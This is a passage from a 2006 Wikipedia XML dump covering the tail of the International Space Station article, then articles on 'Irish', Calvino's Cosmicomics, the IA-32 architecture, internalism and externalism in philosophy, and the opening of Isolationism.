|[[October 18]], [[2003]]&lt;br&gt;05:38:03 UTC
|[[Soyuz TMA-3]]
|[[April 30]], [[2004]]&lt;br&gt;00:11:15 UTC
|[[Soyuz TMA-3]]
|style=&quot;text-align: right&quot;|194.77
|-
![[Expedition 9]]
|''[[Gennady Padalka]] - Russia''&lt;br&gt;[[Michael Fincke]] - U.S.A.
|[[April 19]], [[2004]]&lt;br&gt;03:19:00 UTC
|[[Soyuz TMA-4]]
|[[October 24]], [[2004]]&lt;br&gt;00:32:00 UTC
|[[Soyuz TMA-4]]
|style=&quot;text-align: right&quot;|185.66
|-
![[Expedition 10]]
|''[[Leroy Chiao]] - U.S.A.''&lt;br&gt;[[Salizhan Sharipov]] - Russia
|[[October 14]], [[2004]]&lt;br&gt; 03:06 UTC
|[[Soyuz TMA-5]]
|[[April 24]], [[2005]]&lt;br&gt;22:08:00 UTC
|[[Soyuz TMA-5]]
|style=&quot;text-align: right&quot;|192.79
|-
![[Expedition 11]]
|''[[Sergei Krikalev]] - Russia''&lt;br&gt;[[John L. Phillips]] - U.S.A.
|[[April 15]], [[2005]]&lt;br&gt; 00:46:00 UTC
|[[Soyuz TMA-6]]&lt;br&gt;
|[[October 11]], [[2005]] &lt;br&gt; 01:09:00 UTC
|[[Soyuz TMA-6]]
|style=&quot;text-align: right&quot;|179.02
|-
![[Expedition 12]]
|''[[William McArthur]] - U.S.A.''&lt;br&gt;[[Valery Tokarev]] - Russia
|[[October 1]], [[2005]]&lt;br&gt; 03:54:00 UTC
|[[Soyuz TMA-7]]&lt;br&gt;
|Planned: [[April 8]] [[2006]]
|[[Soyuz TMA-7]]
|style=&quot;text-align: right&quot;|~189
|-
![[Expedition 13]]
|''[[Pavel Vinogradov]] - Russia''&lt;br&gt;[[Jeffrey Williams]] - U.S.A.&lt;br&gt;[[Thomas Reiter]] - Germany
|colspan=&quot;5&quot; style=&quot;text-align: center&quot;|Scheduled [[March 30]]&amp;ndash;[[September 23]], [[2006]]
|-
![[Expedition 14]]
|''[[Michael Lopez-Alegria ]] - U.S.A.''&lt;br&gt;[[Mikhail Tyurin]] - Russia&lt;br&gt;[[Sunita Williams]] - U.S.A.
|colspan=&quot;5&quot; style=&quot;text-align: center&quot;|Scheduled for [[september 13]], [[2006]]&amp;ndash;March [[2007]]
|-
![[Expedition 15]]
|''[[Olag Kotov]] - Russia''&lt;br&gt;[[Clayton Anderson]] - U.S.A.&lt;br&gt;[[Fyodor Yurchikhin]] - Russia&lt;br&gt;
|colspan=&quot;5&quot; style=&quot;text-align: center&quot;|Scheduled for [[March 9]]&amp;ndash;September [[2007]]
|}

The International Space Station is the most-visited spacecraft in the history of space flight. As of [[August 28]], [[2005]], it has had 141 (non-distinct) visitors. [[Mir]] had 137 (non-distinct) visitors (See [[Space station#List of occupied space stations, with statistics|Space station]]).

{{International Space Station}}

==See also==
===ISS-related articles===
{{commons|International Space Station}}
*[[List of International Space Station visitors]]
*[[List of ISS spacewalks]] performed from the ISS or visiting spacecraft
*[[List of manned spaceflights to the ISS]] for a comprehensive chronological list of all manned spacecraft that have visited the ISS, including the spacecraft's respective crews
*[[List of unmanned spaceflights to the ISS]] &amp;mdash; Progress supply flights and unmanned automatic docking space station modules &lt;!-- Maybe someone can add (make) a list of respective unmanned craft as well? --&gt;
===Other===
*[[Space station]] for statistics of occupied space stations
*[[Salyut]]
*[[Skylab]]
*[[Mir]]
*[[Soyuz spacecraft]]
*[[Progress spacecraft]]
*[[Kliper]]
*[[Transhab]]
*[[International Space Station (Orbiter sim) | Rendering]] of ISS in [[Orbiter (sim)| Orbiter]] [[space flight]] [[flight_simulator|simulator]]
*[[Herman Potočnik]]

==References==
[[Image:ISS altitude.gif|thumb|right|200px|{{Note|altitude}} A graph of the altitude of the ISS since launch]]
*[http://www.spaceref.com/iss/ SpaceRef] - Regularly updated detailed status reports of the station.
*[http://vesuvius.jsc.nasa.gov/er/seh/td9702.pdf ISS Familiarization and Training Manual - NASA July 1998 (PDF format)]
*[http://www.spaceflight.nasa.gov/station/isstodate.html Current ISS Vital Statistics]

==External links==
* [http://science.nasa.gov/Realtime/JTrack/3D/JTrack3D.html NASA 3D Java Tracker for ISS and other Satellites]
* [http://www.space.gc.ca/asc/eng/iss/default.asp International Space Station &amp;mdash; CSA Site]
* [http://www.energia.ru/english/energia/iss/iss.html International Space Station &amp;mdash; Energia site]
* [http://www.esa.int/esaHS/iss.html International Space Station &amp;mdash; ESA site]
* [http://www.jaxa.jp/missions/projects/iss_human/index_e.html International Space Station &amp;mdash; JAXA site]
* [http://www.aeb.gov.br/conteudo.php?ida=28&amp;idc=118 International Space Station &amp;mdash; AEB site]
* [http://www.nasa.gov/mission_pages/station/main/index.html International Space Station &amp;mdash; NASA site]
* [http://stream1.euronews.net:8080/ramgen/mag/space-issquovadis-en.rm?usehostname International Space Station &amp;mdash; EuroNews report (Real player video stream)]
* [http://www.astronautix.com/craft/intation.htm International Space Station] from [[Encyclopedia Astronautica]]
* [http://spd.nasa.gov/ NASA Space Partnership Development]
* [http://procurement.jsc.nasa.gov/cots/ NASA Commercial Orbital Transportation Services program]
* [http://spacelink.nasa.gov/NASA.Projects/Human.Exploration.and.Development.of.Space/Space.Product.Development/.index.html Spacelink &amp;mdash; Space Product Development]
* [http://www.planetary.org/ The Planetary Society]
* http://www.seds.org/pub/seds/National/misc/why-space
* [http://http://www.perseus.gr/Astro-Sat-Trans-2005-07-28.htm Solar Transit: ISS with Discovery] &amp;mdash; The ISS with STS-114 transit the sun.
* [http://esa.heavens-above.com/esa/iss_step1.asp See the ISS from your home town]
* [http://www.heavens-above.com/ Heavens Above] &amp;mdash; locate ISS, and find when to view it, from any location.
* [http://spaceflight.nasa.gov/shuttle/future/index.html NASA Human Spaceflight - ISS Assembly Sequence webpage] and [http://spaceflight.nasa.gov/realdata/sightings/cities/index.cgi ISS sighting by city]
* [http://www.sworld.com.au/steven/space/shuttle/manifest.txt Unofficial Shuttle Launch Manifest]
* [http://gmaps.tommangan.us/spacecraft_tracking.html Track the ISS] with Google Maps
* http://www.issfanclub.com
{{International Space Station}}

{{ISS modules}}

{{US manned space programs}}

{{Russian manned space programs}}

[[Category:International Space Station]]
[[Category:Space stations]]
[[Category:Manned spacecraft]]
[[Category:Big Science]]

{{Link FA|bg}}
{{Link FA|fr}}
{{Link FA|pt}}

[[bg:Международна космическа станция]]
[[ca:Estació Espacial Internacional]]
[[cs:Mezinárodní vesmírná stanice]]
[[da:Den Internationale Rumstation]]
[[de:Internationale Raumstation]]
[[es:Estación Espacial Internacional]]
[[eo:Internacia Kosmostacio]]
[[fr:Station spatiale internationale]]
[[gl:Estación Espacial Internacional]]
[[id:Stasiun Luar Angkasa Internasional]]
[[is:Alþjóðlega geimstöðin]]
[[it:Stazione Spaziale Internazionale]]
[[he:תחנת החלל הבינלאומית]]
[[hu:Nemzetközi Űrállomás]]
[[nl:Internationaal ruimtestation ISS]]
[[ja:国際宇宙ステーション]]
[[nn:Den internasjonale romstasjonen]]
[[no:Den internasjonale romstasjonen]]
[[pl:Międzynarodowa Stacja Kosmiczna]]
[[pt:Estação Espacial Internacional]]
[[ru:Международная космическая станция]]
[[sk:Medzinárodná vesmírna stanica]]
[[sr:Међународна свемирска станица]]
[[fi:Kansainvälinen avaruusasema]]
[[sv:ISS]]
[[vi:Trạm Vũ trụ Quốc tế]]
[[zh:国际空间站]]</text>
    </revision>
  </page>
  <page>
    <title>Irish</title>
    <id>15044</id>
    <revision>
      <id>41888675</id>
      <timestamp>2006-03-02T11:09:40Z</timestamp>
      <contributor>
        <username>Reinoutr</username>
        <id>158685</id>
      </contributor>
      <comment>reverted vandalism by 193.112.136.21</comment>
      <text xml:space="preserve">'''Irish''' may refer to:
* [[Irish people]], people of Irish ethnicity, originating from Ireland
* [[Irish language]], a Goidelic language spoken on the island of Ireland and by small diaspora communities worldwide
* [[Irish whiskey]], a famous type of whiskey of Irish origin
* &quot;Fighting Irish&quot;, the athletic teams of the [[University of Notre Dame]], sometimes referred simply as the Irish
[[Category:Ireland]]

{{disambig}}
[[de:Irisch]]</text>
    </revision>
  </page>
  <page>
    <title>Cosmicomics</title>
    <id>15045</id>
    <revision>
      <id>34366742</id>
      <timestamp>2006-01-08T14:09:17Z</timestamp>
      <contributor>
        <ip>81.68.228.49</ip>
      </contributor>
      <comment>Interwiki Persian</comment>
      <text xml:space="preserve">'''Cosmicomics''' is a series of short stories by [[Italo Calvino]].  Each story takes a scientific fact, and builds a wonderfully imaginative story around it.  An always extant being called Qfwfq narrates the stories, each of which is a memory of an event in the history of the universe. 

The most well known is probably the first one, '''&quot;The distance of the moon&quot;''', which takes the fact that the moon used to be much closer to the earth, and builds it into a romantic story about two men and one woman in a tribe of people who used to jump up onto the moon when it passed overhead.

Some other stories:

*'''&quot;The aquatic uncle&quot;''' — A tale on the fact that at one stage in evolution animals left the sea and came to live on land.  The story is about a family living on land that is a bit ashamed of their old uncle who still lives in the sea, refusing to come ashore like &quot;civilized&quot; people. 

*&quot;'''The Light Years'''&quot; is one story is about Qfwfq looking at other galaxies, and spotting one with a sign pointed right at him saying &quot;I saw you.&quot;  Given that there's a gulf of 100,000,000 light years, he checks his diary to find out what he had been doing that day, and finds out that it was something he wished to hide.  Then he starts to worry.

*'''&quot;All at one point&quot;''' — The fact that all matter and creation used to exist in a single point.  ''&quot;Naturally, we were all there, - old Qfwfq said, - where else could we have been? Nobody knew then that there could be space. Or time either: what use did we have for time, packed in there like sardines?&quot;''

*'''&quot;A sign in space&quot;''' — The idea that the galaxy slowly revolves becomes a story about a being who is desperate to leave behind some unique sign of his existence.

*'''&quot;The Spiral&quot;''' — A beautiful story about life as a mollusk, and the nature of love.

*'''&quot;The Dinosaurs&quot;''' — How some dinosaurs lived after most of them had become extinct, and how it felt to be that last existing dinosaur in an age where all the current mammals feared your kind as demons.

*&quot;'''Games Without End'''&quot; — A galactic game of marbles back before the universe had formed much more than particles.

*'''&quot;How Much Shall We Bet&quot;''' — A story about betting on the long term evolution of mankind.

All of the stories feature non-human characters with very human qualities.
[[Category: 1965 books]]

[[fa:کمدی‌های کیهانی]]</text>
    </revision>
  </page>
  <page>
    <title>IA-32</title>
    <id>15046</id>
    <revision>
      <id>40322149</id>
      <timestamp>2006-02-19T20:32:34Z</timestamp>
      <contributor>
        <username>Guy Harris</username>
        <id>122189</id>
      </contributor>
      <comment>IA-32 is a comptuer architecture in the &quot;more specific sense&quot; of an instruction set architecture.</comment>
      <text xml:space="preserve">{{merge|X86 assembly language}}

'''IA-32''', sometimes generically called x86-32, is the [[instruction set architecture]] of [[Intel]]'s most successful [[microprocessor]]s. Within various [[programming language]] directives it is also referred to as &quot;[[i386]]&quot;. The term may be used to refer to the 32-bit extensions to the original [[x86]] architecture, or to the architecture as a whole.

This architecture defines the [[instruction set]] for the family of microprocessors installed in the vast majority of [[personal computer]]s in the world. 

The term means '''Intel Architecture, 32-bit''', which distinguishes it from the 16-bit versions of the architecture that preceded it, and the 64-bit architecture [[IA-64]] (which is very different, although it has an IA-32 compatibility mode). The more generic name for all 16 and 32-bit versions of this [[computer architecture|architecture]] is [[x86]].

Intel was the inventor and is the biggest supplier of processors compatible with this instruction set, but it is not the only supplier of such processors. The second biggest supplier is [[AMD]]. And then there are numerous even smaller more specialized suppliers of these processors.

This instruction set was introduced in the [[Intel 80386]] microprocessor in [[1985]]. This instruction set is still the basis of most PC microprocessors twenty years later in 2005. Even though the instruction set has remained intact, the successive generations of microprocessors that run it have become much faster at running it.

The IA-32 instruction set is usually described as CISC ([[Complex Instruction Set Computer]]) architecture, though such classifications have become less meaningful with advances in microprocessor design.

==Two memory management models==
There are two memory access models that IA-32 supports. One is called [[Real mode]], and the other is called [[Protected mode]]. In Real Mode, the processor is limited to accessing a total of just over 1MB of memory, while in Protected mode it can access all of its memory.

===Real mode===
The old [[DOS]] operating system required the '''[[real mode]]''' to work, while newer Windows, Linux and other operating systems usually require the '''[[protected mode]]'''. Upon power-on (aka [[booting]]), the processor initiates itself into Real mode, and then it begins loading programs automatically into RAM from ROM and disk. A program inserted somewhere along the boot sequence may be used to put the processor into the Protected mode.

===Protected mode===
In Protected mode, a number of other advantages beyond just the additional memory addressability beyond the DOS 1MB limit get activated. One of them is [[protected memory]], which prevents programs from corrupting one another. Another one is [[virtual memory]], which lets programs use more memory than is physically installed on the machine. And the third feature is task-switching, aka [[computer multitasking|multitasking]], which lets a computer juggle multiple programs all at once to look like they are all running at the same time.

The size of memory in Protected mode is usually limited to 4GB. However, this isn't the ultimate limit of the size of memory in IA-32 processors. Through tricks in the processor's page and segment memory management systems, IA-32 operating systems may be able to access more than 32-bits of address space, even without the switchover to the 64-bit paradigm. One such trick is known as [[PAE]] (Physical Address Extensions).

====Virtual 8086 mode====
There was also a sub-mode of operation in Protected mode, called ''[[virtual 8086 mode]]''. This is basically a special hybrid operating mode which allowed old [[DOS]] programs and operating systems to run while under the control of a Protected mode supervisor operating system. This allowed for a great deal of flexibility in running both Protected mode programs and DOS programs simultaneously. This mode was added only with the IA-32 version of Protected mode, it did not exist previously in the 80286 16-bit version of Protected mode.

==Registers==
The [[Intel 80386| 386]] has eight 32-bit ''general purpose'' registers for application use. There are 8 floating point stack registers. Later processors added new registers with their various [[SIMD]] instruction sets too, such as [[MMX]], [[3DNow!]], and [[Streaming SIMD Extensions|SSE]].

There are also system registers that are used mostly by operating systems but not by applications usually. They are known as ''segment'', ''control'', ''debug'', and ''test'' registers. There are six segment registers, used mainly for memory management. The number of ''control'', ''debug'' or ''test'' registers varies from model to model.

===General Purpose registers===
The x86 general purpose registers are not really as general purpose as their name implies. That is because these general purpose registers have some highly specialized tasks that can often only be done by using only one or two specific registers.  In other architectures, any general purpose register can be used for any purpose.  The x86 general purpose registers further subdivide into registers specializing in data and others specializing in addressing.

Also a lot of operations can be done either inside a register or directly inside RAM without requiring the data to be loaded into a register first. The 1970s heritage of this architecture shows through by this behaviour.

'''Note:''' with the advent of the 64-bit extensions to [[x86]] in [[AMD64]], this odd behaviour has now been cleaned up (at least in 64-bit mode). General purpose registers are now truly general purpose and they can be used interchangeably. This does not affect the 32-bit architecture, however.

====8-bit and 16-bit register subsets====
8-bit and 16-bit subsets of these registers are also accessible. For example, the lower 16-bits of the 32-bit '''EAX''' registers can be accessed by calling it the '''AX''' register. Some of the 16-bit registers can be further subdivided into 8-bit subsets too; for example, the upper 8-bit half of '''AX''' is called '''AH''', and the lower half is called '''AL'''. Similarly, '''EBX''' is subdivided into '''BX''' (16-bit), which in turn is divided into '''BH''' and '''BL''' (8-bit).

====General data registers====
All of the four following registers may be used as general purpose registers. However each has some specialized purpose as well. Each of these registers also have 16-bit or 8-bit subset names.

* EAX Accumulator (with a special interpretation for arithmetic instructions; a for ''accumulator'')
* EBX base register (used for addressing data in the data segment)
* ECX counter (with a special interpretation for loops, c for ''counter'')
* EDX data register

====General address registers====
Used only for address pointing. They have 16-bit subset names, but no 8-bit subsets.

* EBP base pointer (holds the address of the current [[stack frame]])
* ESI source index (for [[string (computer science)|string]] operations)
* EDI destination index (for string operations)
* ESP stack pointer (holds the top address of the stack)
* EIP instruction pointer (holds the current instruction address)

===Floating point stack registers===
Initially, IA-32 included floating-point capabilities only on add-on processors (8087, 80287 and 80387.)  With the 
introduction of the 80486, these 8 80x87 floating point registers, known as ST(0) through ST(7) are built in to the CPU. Each register is 80 bits wide and stores numbers in the extended precision format of the [[IEEE floating-point standard]].

These registers are not accessible directly, but are accessible like a [[LIFO]] stack.  The register numbers are not fixed, but are relative to the top of the stack; '''ST(0)''' is the top of the stack, '''ST(1)''' is the next register below the top of the stack, '''ST(2)''' is two below the top of the stack, etc.  That means that data is always pushed down from the top of the stack, and operations are always done against the top of the stack.  So you couldn't just access any register randomly, it has to be done in the stack order.

===SIMD registers===
[[MMX]], [[3DNow!]], and [[Streaming SIMD Extensions|SSE]] also added new registers of their own to the IA-32 instruction set.

====MMX registers====
'''MMX''' added 8 new &quot;registers&quot; to the architecture, known as MM0 through MM7 (henceforth referred to as ''MMn''). In reality, these new &quot;registers&quot; were just aliases for the existing x87 FPU stack registers. Hence, anything that was done to the floating point stack would also affect the MMX registers. Unlike the FP stack, these MMn registers were fixed not relative, and therefore they were randomly accessible.

Each of the MMn registers are 64-bit integers. However, one of the main concepts of the MMX instruction set is the concept of ''packed data types'', which means instead of using the whole register for a single 64-bit integer ([[quadword]]), two 32-bit integers ([[Integer (computer science)|doubleword]]), four 16-bit integers ([[Integer (computer science)|word]]) or eight 8-bit integers ([[Integer (computer science)|byte]]) may be used.

Also because the MMX's 64-bit MMn registers are aliased to the FPU stack, and each of the stack registers are 80-bit wide, the upper 16-bits of the stack registers go unused in MMX, and these bits are set to all ones, which makes it look like NaN's or infinities in the floating point view. This makes it easier to tell whether you are working on a floating point data or MMX data.

====3DNow! registers====
'''3DNow!''' was designed to be the natural evolution of MMX from integers to floating point. As such, it uses the exact same register naming convention as MMX, that is MM0 through MM7. The only difference is that instead of packing byte to quadword integers into these registers, one would pack [[single precision]] floating points into these registers.

The advantage of aliasing registers with the FPU registers is that the same instruction and data structures used to save the state of the FPU registers can also be used to save 3DNow! register states. Thus no special modifications are required to be made to operating systems which would otherwise not know about.

====SSE registers====
'''SSE''' discarded all legacy connections to the FPU stack. This also meant that this instruction set discarded all legacy connections to previous generations of SIMD instruction sets like MMX. But it freed the designers up, allowing them to use larger registers, not limited by the size of the FPU registers. The designers created eight 128-bit registers, named XMM0 through XMM7. (''Note'': in [[AMD64]], the number of SSE XMM registers has been increased from 8 to 16.) 

But the downside is that operating systems had to have an awareness of this new set of instructions in order to be able to save their register states. So Intel created a slightly modified version of Protected mode, called Enhanced mode which enables the usage of SSE instructions, whereas they stay disabled in regular Protected mode. An OS that is aware of SSE will activate Enhanced mode, whereas an unaware OS will only enter into traditional Protected mode.

SSE is a SIMD instruction set that works only on floating point values, like 3DNow!. However, unlike 3DNow! it severs all legacy connection to the FPU stack. Because it has larger registers than 3DNow!, SSE can pack twice the number of [[single precision]] floats into its registers. The original SSE was limited to only single-precision numbers, like 3DNow!. The SSE2 introduced the capability to pack [[double precision]] numbers too, which 3DNow! had no possibility of doing since a double precision number is 64-bit in size which would be the full size of a single 3DNow! MMn register. At 128-bit, the SSE XMMn registers could pack two double precision floats into one register. Thus SSE2 is much more suitable for scientific calculations than either SSE1 or 3DNow!, which were limited to only single precision.

==Instructions==
The full listing of the x86 machine language [[mnemonic]]s including integer, floating point, and SIMD instructions can be found in the [[X86 instruction listings]] link. They are categorized into a chronological and hierarchal format showing when the instructions first became available, and what category of instructions they are.

The original IA-32 instruction set has been evolved over time with the addition of the multimedia instruction updates. However, the ultimate evolution of IA-32 was when it was extended again to 64-bits, but of course at that point it cannot be called IA-32 anymore; the 64-bit extension is called [[x86-64]]. It could not be called [[IA-64]] as Intel had already used this label for the [[Itanium]] design (a design which is not really an evolution of the IA-32 architecture). AMD's [[AMD64]] was the first x86-64 instruction set designed. Later, Intel followed by imitating AMD's design with what they call [[EM64T]].

===SIMD Multimedia Instruction Set updates===
Various generations of IA-32 CPUs since have added several extensions to the original instruction set. They were known technically as ''SIMD'' instruction sets. However, more colloquially they were known as ''Multimedia'' instruction sets, because they were mainly used in multimedia entertainment software applications.
* The [[MMX]] extensions were the first major upgrade. This was a set of integer-only [[SIMD]] instructions. This was co-introduced by Intel and AMD in their [[Pentium MMX]] and [[AMD K6|K6]] processors, in 1997. It shared its registers with the '''x87''' FPU; therefore operating systems did not have to be modified to accept these instructions, they automatically worked if the OS also supported x87 state-saving.
* MMX was further upgraded with the addition of floating-point SIMD capabilities, with the introduction of [[3dnow!|3DNow!]] in early 1999. Like '''MMX''', this set shared its registers with the '''x87''' FPU too. This extension was introduced by AMD in the [[K6-2]] processor, but it was never picked up by Intel.
* [[Streaming SIMD Extensions|SSE]] was single precision floating point SIMD introduced by Intel in late 1999, with the introduction of the [[Pentium III]] processor. Unlike '''3DNow!''', it was not an extension to the '''MMX''' extension, nor did it share its registers with the '''x87''' FPU. It required some modifications to operating systems for them to work. This added programming inconvenience was made up for by the fact that SSE worked unencumbered by any of the old limitations of the '''x87''' FPU. This instruction set was adopted eventually by AMD starting with its [[Athlon]] XP processor; all further extensions to SSE will likely be adopted by AMD from now on, as it will no longer make any extensions to its own '''3DNow!''' instructions.
* [[SSE2]] was introduced in early 2001 with the introduction of the [[Pentium 4]] processor. This was a further upgrade to the original '''SSE''', adding double precision operations to its bag of tricks.
* [[SSE3]] was introduced in early 2004, in an upgraded version of the Pentium 4, codenamed Prescott. It featured some minor tweaks to the '''SSE2''' extensions.

===Next-generation 64-bit Instruction Sets===
Two new instruction sets can claim to be the 64-bit successor to IA-32. One of them builds on top of IA-32 but has a different name, while the other one discards IA-32 completely but has a similar name. 

====IA-64====
Intel's [[IA-64]] architecture is not directly compatible with the IA-32 instruction set. It completely discards all IA-32 instructions, and starts from scratch with a completely different instruction set as well as using a [[Very long instruction word|VLIW]] design instead of [[out-of-order execution]]. IA-64 is the architecture used by their [[Itanium]] line of processors. The Itanium has hardware-support for IA-32, though very slow because of the different approach. IA-32 execution mode is set by the [[Extensible Firmware Interface|EFI]] program loaded on boot-up. The nomenclature &quot;IA-64&quot; means &quot;Intel Architecture, 64-bit&quot;, but the connection with IA-32 is only in the name.

====AMD64====
[[AMD]]'s [[AMD64]] instruction set, aka [[x86-64]], is largely built on top of IA-32, and thus maintains the [[x86]] family heritage. While extending the instruction set, AMD took the opportunity to clean up some of the odd behaviour of this instruction set that has existed (plagued?) since its earliest 16-bit days, while the processor is operating in 64-bit mode. They also doubled the number of general purpose registers from 8 to 16; and the general purpose registers are now much more truly general-purpose registers. They also doubled the number of SSE registers from 8 to 16 as well. They have also deprecated most of the functionality of the segment registers, since their usage has steadily declined even during the IA-32 days.

=====EM64T=====
By February 2004, Intel implicitly acknowledged the logic of the AMD64 instruction set, deriving from it the [[EM64T]] instruction set, which is very similar to AMD64. This extension is compatible with code written for the AMD64. Intel started using the set starting with the [[Xeon]] Nocona core in 2004, introducing it to the desktop market with the [[Pentium 4]] Prescott 2M in early 2005.

==See also==
* [[x86]]
* [[Wintel]]
* [[IA-64]]
* [[AMD64]] (a/k/a &quot;x86-64&quot; or &quot;x86&quot;)
* [[EM64T]]
* [[List of AMD microprocessors]]
* [[List of Intel microprocessors]]
* [[IA-4]]
* [[IA-8]]
* [[IA-16]]
* [[Intel P6]]
* [[NetBurst]]
* [[Intel Next Generation Microarchitecture]]

==External links==
* [http://www.intel.com/design/pentium4/manuals/index_new.htm Free IA-32 documentation], provided by INTEL

[[Category:x86 architecture]]
[[Category:Microprocessors]]
[[Category:Computer architecture]]

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  </page>
  <page>
    <title>Internalism and externalism</title>
    <id>15047</id>
    <revision>
      <id>38445813</id>
      <timestamp>2006-02-06T10:14:51Z</timestamp>
      <contributor>
        <username>Rldoan</username>
        <id>889910</id>
      </contributor>
      <text xml:space="preserve">Recently '''internalism''' and '''externalism''' have become part of the standard jargon of  [[philosophy|philosophical]] discourse, and have become central to certain important debates. 

== Moral philosophy ==

In contemporary moral philosophy, internalism is the view that moral beliefs function as a motivating factor.  That is, the internalist believes that there is an internal connection between her belief that &quot;X ought to be done&quot; and her motivation to do X.  In the same way, an externalist would argue that there is no essential internal connection between moral beliefs and motives, i.e. there's no essential reason that the belief &quot;X is wrong&quot; leads to a desire not to do X.   It is likely that this use of these terms comes from W.D. Falk's paper ''Ought and motivation'' (1948).

== Epistemology ==

In contemporary epistemology internalism about justification is the idea that everything necessary to provide justification for a belief is immediately available in consciousness. Externalism in this context is the view that there are factors other than those which are internal to the believer which can affect the justificatory status of a belief.  One strand of externalism is loosely called the [[causal theory of knowledge]], and [[reliabilism]] is sometimes considered to be another strand.  It is important to distinguish internalism about justification from internalism about knowledge.  An internalist about knowledge will likely hold that the conditions that distinguish mere true belief from knowledge are similarly internal to the individual's perspective or grounded in the subject's mental states.  Whereas internalism about justification is a widely endorsed view, there are few defenders of internalism about knowledge thanks in no small part to Gettier and Gettier-like examples (http://en.wikipedia.org/wiki/Gettier_problem) that suggest that there is more to knowledge than just justified true belief.  In a short but widely discussed paper published in 1963, Gettier produced examples that seemed to show that owing to an accidental connection between an individual's evidence or reasons and the truth of her belief, someone could be justified in believing something true but nevertheless be ignorant.

One line of argument in favor of externalism begins with the observation that if what justified our beliefs failed to significantly eliminate the risk of error, then it does not seem that knowledge would be attainable as it would appear that when our beliefs did happen to be correct, this would really be a matter of good fortune.  While many will agree with this last claim, the argument seems inconclusive.  Setting aside sceptical concerns about the possession of knowledge, Gettier cases have suggested the need to distinguish justification from warrant where warrant is understood as that which distinguishes justified true belief from knowledge by eliminating the kind of accidentality often present in Gettier-type cases.  Even if something must significantly reduce the risk of error, it is not clear why justification is what must fill the bill.

One of the more popular arguments from internalism begins with the observation, perhaps first due to Stewart Cohen, that when we imagine subjects completely cut off from their surroundings (thanks to a malicious Cartesian demon, perhaps) we do not think that in cutting these individuals off from their surroundings, these subjects cease to be rational in taking things to be as they appear.  The 'new evil demon' argument for internalism (and against externalism) begins with the observation that individuals like us on the inside will be as justified as we are in believing what we believe.  As it is part of the story that these individual's beliefs are not produced by reliable mechanisms or backed by veridical perceptual experiences, the claim that the justification of our beliefs depends upon such things appears to be seriously challenged.  Externalists have offered a variety of responses but none appear to have won the hearts and minds of the epistemological community.  

  
== Semantics ==

[[Semantic externalism]] comes in two flavours, depending on whether meaning is construed cognitively or linguistically. On a cognitive construal, externalism is the thesis that what concepts (or contents) are available to a thinker is determined by her environment, or her relation to her environment. On a linguistic construal, externalism is the thesis that the meaning of a word is environmentally determined. Likewise, one can construe semantic internalism in two ways, as a denial of either of these two theses.

See also:
*[[Linguistic turn]] and [[cognitive turn]] for more about the two construals of meaning.
*[[Twin Earth thought experiment]]
*[[Swamp man]] thought experiment

== Philosophy of mind ==

Within the context of the philosophy of mind, externalism is the theory that the contents of mental states are  dependent on their relationship to the external world.  Some mental states, such as believing that water is wet, and fearing that the Queen has been insulted, have contents which we can capture using 'that' clauses.  The content externalist often appeals to observations which are found as early as [[Hilary Putnam]]'s seminal 'The Meaning of 'Meaning'' that we can easily imagine pairs of individuals that are microphysical duplicates embedded in different surroundings who use the same words but mean different things when using them.  For example, suppose that Ike and Tina's mothers are identical twins and that Ike and Tina are raised in isolation from one another in indistinguishable environments.  When Ike says 'I want my mommy', he expresses a want that is satisfied only if he is brought to his mommy.  If we brought Tina's mommy, Ike might not notice the difference, but he doesn't get what he wants.  It seems that what he wants and what he says when he says 'I want my mommy' will be different from what Tina wants and what she says she wants when she says 'I want my mommy'.  Externalists say that if we assume that competent speakers know what they think and say what they think, the difference in what these two speakers mean will correspond to a difference in the minds of the two speakers that is not (necessarily) reflected by an internal difference in the internal make up of the speakers or thinkers.  They urge us to move from externalism about meaning of the sort Putnam defended to externalism about contentful states of mind.  The example offered pertains to singular terms but it has been extended to cover kind terms as well such as terms for kinds of substances (e.g., 'water') and for kinds of artifacts (e.g., 'espresso maker').  There is no general agreement amongst content externalists as to the scope of the thesis.  

Critics of the view have questioned the original thought experiments saying that the lessons that Putnam and later writers such as [[Tyler Burge]] have urged us to draw can be resisted.  [[Frank Jackson]] and [[John Searle]], for example, have defended internalist accounts of thought content according to which the contents of our thoughts are fixed by descriptions that pick out the individuals and kinds that our thoughts intuitively pertain to the sorts of things that we take them to.  In the Ike/Tina example, one might agree that Ike's thoughts pertain to Ike's mother and that Tina's thoughts pertain to Tina's but insist that this is because Ike thinks of that woman as his mother and we can capture this by saying that he thinks of her as 'the mother of the speaker'.  This descriptive phrase will pick out one unique woman.  Externalists have claimed that this is implausible as we would have to ascribe Ike knowledge he wouldn't seem to need in order to successfully refer to his mother or think about his mother.  

Critics have also claimed that content externalists are committed to epistemological absurdities.  Suppose that a speaker can have the concept of water we do only if the speaker lives in a world that contains H2O.  It seems this speaker could know apriori that she thinks that water is wet.  This is the thesis of privileged access.  It also seems that she could know on the basis of simple thought experiments that she can only think that water is wet if she lives in a world that contains water.  What would prevent her from putting these together and coming to know apriori that the world contains water?  If we should say that no one could possibly know whether water exists apriori, it seems either we cannot know content externalism to be true on the basis of thought experiments or we cannot know what we are thinking without first looking into the world to see what it is like.  

{{Philosophy navigation}}

[[Category:Epistemology]]
[[Category:Ethics]]
[[Category:Semantics]]
[[Category:Philosophy of mind]]

[[pt:Externalismo]]

==External links==

* [http://plato.stanford.edu/entries/justep-intext/ Internalist vs. Externalist Conceptions of Epistemic Justification]</text>
    </revision>
  </page>
  <page>
    <title>Isolationism</title>
    <id>15048</id>
    <revision>
      <id>41672235</id>
      <timestamp>2006-02-28T23:48:26Z</timestamp>
      <contributor>
        <username>Latinus</username>
        <id>800894</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.224.252.114|71.224.252.114]] ([[User talk:71.224.252.114|talk]]) to last version by Hmains</comment>
      <text xml:space="preserve">{{IRTheory}}
'''Isolationism''' is a foreign policy which combines a [[non-interventionism|non-interventionist]] military and political policy with a policy of [[economic nationalism]] ([[protectionism]]).  In other words, it asserts both of the following:
# Political rulers should avoid [[entangling alliances]] with other nations and avoid all wars not related to direct territorial [[self-defense]].
# There should be legal barriers to prevent trade and cultural exchange with people in other states.

The term &quot;isolationism&quot; was coined by military interventionists as a pejorative term during [[World War I]] to refer to people who opposed the [[United States]]' entry into that war. Later, the term &quot;isolationism&quot; was used 1939-41 to refer to opponents of [[United States]]' entry into [[World War II]].  The two most prominent leaders were [[Charles Lindbergh]] and historian [[Charles A. Beard]].  See [[America First Committee]].

&quot;Isolationism&quot; is often misused to refer to non-interventionism in general, rather than non-intervention conjoined with economic nationalism.

==See also==
* [[Autarky]]
